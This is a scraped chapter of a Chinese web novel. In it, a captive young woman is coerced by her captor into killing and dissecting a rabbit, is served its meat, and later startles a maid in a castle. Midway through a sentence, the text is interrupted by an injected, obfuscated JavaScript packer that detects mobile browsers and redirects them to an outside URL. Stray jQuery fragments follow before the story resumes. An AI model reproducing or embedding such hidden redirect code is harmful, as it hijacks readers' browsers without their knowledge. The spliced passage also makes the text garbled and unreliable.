28. 第 28 章

作品:《奇怪的新邻居

    夏纳的脚已经好的差不多了,除了不能跑和剧烈运动外已经不影响正常走路。


    只是她仍旧没有出门的权利。


    这几天她一直和乔瓦尼待在一起,她本以为会发生些不可描述的事,可他显然对她没什么兴趣。


    正常吃饭,正常睡觉,正常说话。


    当然,他也不会拒绝她偶尔兴致浓时的索吻。


    这让她感到费解,不知现在该如何定义自己和他的关系。


    不是朋友不是情侣。


    要说主仆也不明确,她没见过哪个主人会帮仆人洗贴身衣服,喂仆人吃饭,哄仆人睡觉的。


    想了几天,夏纳想到了——


    在他眼里,她大概不是个人。


    又联想到他孤僻、生人勿近的性格,以及习惯将弱者称之为牲畜的话,她更肯定了这件事。


    那她在他眼里究竟是个什么宠物呢?


    午后,夏纳坐在地毯上拼图——乔瓦尼新给她找的玩具,用来打发时间。


    拼完三分之一,她突然觉得没什么意思,躺地上发呆。


    朝阳的房间,光线很好,阳光斜斜的从落地窗洒在地毯上,她翻了个身,看向那正躺在沙发上睡觉的青年。


    他其实很瘦,晚上抱着她睡觉的时候,骨头硌的难受,而且体温很低,有时半夜惊醒,她都有种靠在骷髅身上的错觉。


    他不喜欢光,卧室房间永远都是黑的,简直像住在坟墓里。


    目光下滑,落在那只从沙发上垂落的手上,指间的阳光,斑驳绚丽,皮肤白的有些透明。


    她又开始思考那个问题,然后爬到沙发那,盯着他的手看了一分钟,眼神变得坚定,张嘴含住了他的指尖。


    乔瓦尼眉头蹙了下,感受到指尖有丝疼痛以及濡湿,他迷茫地睁开眼睛,低头一看,手指正被她咬着。


    力度不轻,锋利的牙齿从他的指腹上碾过,像是当成了磨牙棒。


    想让她松开,话到嘴边停下了。


    他突然发现她最近变得有些奇怪。


    有时会故意打翻什么东西来引起他的注意,有时会藏在角落里等他过去跳出来吓他。


    貌似从那天之后,她就一直有些——兴奋?


    是被关在房间里太久,精力过剩?


    他思索了下,手指顺势在她牙齿上敲了两下,将手抽了回来,同时将人捞到腿上坐下。


    “想出去玩吗?”


    这是被取悦后的奖励吗?


    夏纳眼睛瞬间亮了起来,她没想到真的有用。


    在他眼里,她居然是只猫?


    所以,之前一直关着她,就是因为她表现的太正常了?


    真是太变态了。


    她好像找到了本通关秘籍,头点的像拨浪鼓:“想!”


    “可以。”他往她屁股上一拍,让她站起来,面色如常,“去换衣服。”


    夏纳应激地弹跳站起,脸通红地捂住屁股,一脸复杂地看着他。


    果然是个大变态!


    “不想去了?”


    “嗖”的下,她窜进卧室,眨眼间便没了人影,只能听见里面翻箱倒柜的声音。


    乔瓦尼轻笑一声,抽了张纸将手指上的晶莹擦掉,阳光下,能看见指腹上几处不甚清晰的牙印。


    他眸光一顿,将手放至嘴边,舔了一下。


    ……


    夏纳从衣柜里费劲地找出裤子和外套。


    全都是新的,还没穿过,乔瓦尼给她准备的衣服里面裙子偏多,还都是那种比较华丽繁复的公主裙,好看是好看,就是穿起来不大舒服,所以她从早到晚都穿的睡裙。


    换好衣服,走到门前,夏纳突然有些害怕。


    风从耳际吹过,穿进门外幽深的走廊,回荡出一声细小的呜咽。


    她紧张地握紧拳头,看向倚在门边的人:


    “要不……今天还是算了吧。”


    大概是看出她在想什么,乔瓦尼向她伸出手:“真的算了?”


    夏纳看着面前那只手,心里忽然又生起一些勇气,内心挣扎了会儿,她深吸口气,将手放了进去。


    “开玩笑的。”


    她装疯卖傻才换来出去的机会,就这么放弃太可惜了。


    十分钟后,夏纳站在解剖室里,突然觉得刚才还不如放弃。


    看着面前这只打了麻醉的兔子,她吸了口气,尽量维持表面的平和:“所以……不是说出去玩吗?”


    乔瓦尼拿了两副医用手套,先帮她戴上,才戴上自己的,然后又抽出一把手术刀塞进她手里。


    淡淡地:“剖。”


    “……”


    她——剖它?


    夏纳怀疑地看了他一眼,见他神情认真,心里叹了口气,认命地看向解剖台上那只兔子。


    刀拿起又放下,又拿起在兔子身上比划了两下,她发现自己做不到。


    “可以玩点其他的吗?”


    “冰柜里还有条蟒蛇的尸体。”


    夏纳继续争取:“除了解剖还有其他……”


    “活人也不是不行。”


    乔瓦尼戏谑地看着她瞬间发白的脸,语气稍有和缓:“害怕是吗?”


    夏纳迅速认怂,点头如捣蒜。


    “哦。”青年若有所思地笑了下,就要摘下手套,“可以,那就回去吧,晚上想吃什么?”


    夏纳眼睛亮了下,放下手术刀正要满口答应,突然意识到这是个陷阱。


    与他待在一起久了,她也是能听出来反话的。


    他说假话骗她的时候语调总会更轻松些,笑容也更多,亲和的不可思议。


    她想了下,又将手术刀拿了起来。


    直觉告诉她,如果现在回去了,那下次再想出来可就没那么容易,反而,如果她完成了他要求的是,会得到更多的奖励。


    “不回去了?”


    “……嗯。”


    乔瓦尼眉梢轻挑了下,上前一步,从背后握住了她的手。


    他的胸口紧紧贴着她的后背,夏纳心一提,呼吸也跟着乱了一拍,握着刀的手抖的更厉害了,偏偏又被他把持着手腕强行压在了兔子的脖子上。


    “这里,是颈动脉,只要这么稍微用力——”


    他的声音低沉而又温柔,温柔的呼吸扑洒在她的耳边,让她有些心猿意马,想蹭一下缓解痒意。


    鲜血飞溅出来,滚烫的还带了点热度。


    刚才那一瞬,乔瓦尼将她往后拉了步,但血还是不期然地溅到了她的衣服和手上。


    “它死了。”


    他平静地说道,松开她手的瞬间,手术刀也应声落地,在瓷砖上砸出清脆而响亮的一声。


    乔瓦尼瞥了一眼,面无表情地:“捡起来,继续。”


    夏纳像只木偶一样,呆滞地服从命令,捡起地上的手术刀,上前一步,重新回到手术台前,眼睛一眨不眨,像突然被抽去了灵魂。


    解剖台上到处都是血,一滴滴地顺着台边砸到地上,还带着温度。


    似曾相识的画面。


    这只是只兔子而已。


    没关系的,夏纳,你可以做到。


    在心里鼓了鼓气,她握紧了刀。


    “现在,从脖子往下划开它的肚皮,找出心脏。”


    听着指令,她一步步照做,划开肚皮,找到心脏,挖出来。


    再从颈后划开大脑皮层,找到大脑和脑垂体。


    到最后眼前只剩下一片红白的血肉,腥臭的气味充斥着她的口鼻,勾得她胃部一阵阵抽搐。


    终于,漫长一下午结束,乔瓦尼满意地摸了摸她的头,夸赞道:“做的很不错,纳纳,你比我想象的更厉害。”


    夏纳强忍着胃里不适,洗干净手,跟着他回到房间,回去后就坐在地毯上一动不动,直到吃饭才站了起来。


    今天,饭桌上罕见的多了一道菜——碳烤兔肉。


    乔瓦尼叉起一块放进她盘子里:“尝尝?”


    他盯着她没有一丝血色的脸,眸底多了些玩味,补充一句,“这可是我们纳纳一下午的成果,味道一定非常不错,不试试吗?”


    看着碗里的兔肉,好像又闻到了那股腥臭气,夏纳再忍受不住,胃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396161|200032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里一阵翻涌,冲进洗手间,哇的声吐了出来。


    之后连续一个月,她每天下午都会去解剖室,大多时候剖的都是兔子,有时也会有猫狗之类的。


    饭桌上也多了一道兔子肉,她从最开始看都不能看,到能心平气和坐下吃顿饭,再后面能面不改色吃几口兔肉。


    心冷的像在超市杀了十年鱼。


    某一瞬间,她忽然发现这件事也不是很难,还是说她天赋异禀?甚至习惯后她开始追求速度和美观,从中找到一丝满足和乐趣。


    某天夜里失眠想到这件事的时候,夏纳抓起那只搭在她腰上的手,狠狠咬了一口。


    真是跟着变态的人久了连她也变态了。


    乔瓦尼起初还会每日陪她在解剖室待一下午,后面就不经常去了。


    他好像突然忙了起来,早晨一睁眼人就不在了,很晚才回来。


    夏纳其实对他的事挺好奇的。


    他每次回来身上都带点血,不像是动物的血,倒像是人血。


    不过,她没问出口。


    猫不该问这么多,只要听话地完成指令就行。


    这天下午,夏纳半个小时就解剖完了兔子,再次刷新记录。


    她高兴地洗干净手,从地下室上到一楼,鼻尖嗅到一股潮湿的味道。


    外面下雨了。


    旋转向上的楼梯口很阴暗,维多利亚时代的装修风格,最上方用铁链悬挂了一个吊灯,散发出昏黄的光,照亮周围一圈古老而精致的彩绘壁画。


    空气里的潮湿加重了扶手的木质香,仿佛有一股让人心情平静的力量。


    夏纳小步挪动到窗边。


    窗户又长又窄,顶端呈尖形,两边悬挂着黑色的厚重的帷幔,挡住了部分光线。


    透过玻璃窗往外看,乌云大团大团地在天空中涌动,压的很低,势头强劲的狂风将花园里的灌木丛吹的向一边倒去,似乎要被连根拔起。


    这天气真是糟糕极了。


    夏纳定定地站了好一会儿,突然听到一阵脚步声。


    目光移向旁边玻璃,上面印着一张女人惊恐的脸。


    是城堡里的女仆。


    她穿着统一的黑白制服,怀里是一摞书,来前或许是发生了什么不错的事,嘴角还留有一丝微笑,但现在那笑容因脸部肌肉突然僵硬而凝固住了,瞳孔放大到一个令人惊骇的范围,仿佛眼珠随时会掉出来。


    夏纳在心里啧叹两声,着实为这位女仆担忧起来,她可不想看见这么一副让人掉胃口的画面。


    她转过身,友好地打了个招呼:“你好。”


    女仆眼睛瞪的更大了,透露出极度的惊恐,本就白皙的脸彻底没了血色。


    嗯……是她态度还不够友好吗?


    自从搬进乔瓦尼的房间后,她再没和除了他外的其他人说过话,偶尔从解剖室出来会打个照面,但那些人远远地就避开了。


    为了表示友好,她决定做出点什么。


    夏纳看见她怀里那一大摞沉重的书,足有十来本,不轻的样子,都快把这个瘦小可怜的女仆脊背给压垮了。


    她上前一步,笑容更加温柔:“是要送去书房吗?我帮你——”


    “啊!!!”


    女仆突然大叫一声,怀里的书噼里啪啦砸到地上,表情活像见了鬼,跌跌撞撞地跑走了。


    伸出的手停放在半空渐渐没了温度,夏纳不解地歪了歪头。


    外面的狂风卷着雨珠噼啪打在窗户上,冷空气似乎钻了进来,冷的她打了个颤。


    太刺耳了。


    夏纳挖了挖耳朵,冷淡地瞥了眼地上那一堆书,又回到窗前看雨。


    那个女仆实在太没礼貌,她不想帮她了。


    从天亮看到天黑,两条腿站的又酸又疼,雨也渐停,夏纳觉得该回去了。


    她抻了抻胳膊,长时间维持一个姿势,肩膀都是酸的,正要回去,突然又听到一阵脚步声,很急促,是跑过来的。


    离楼梯口有段距离,走过去一定会和对方撞见。


    夏纳想了下,后退两步,藏进了帷幔后面。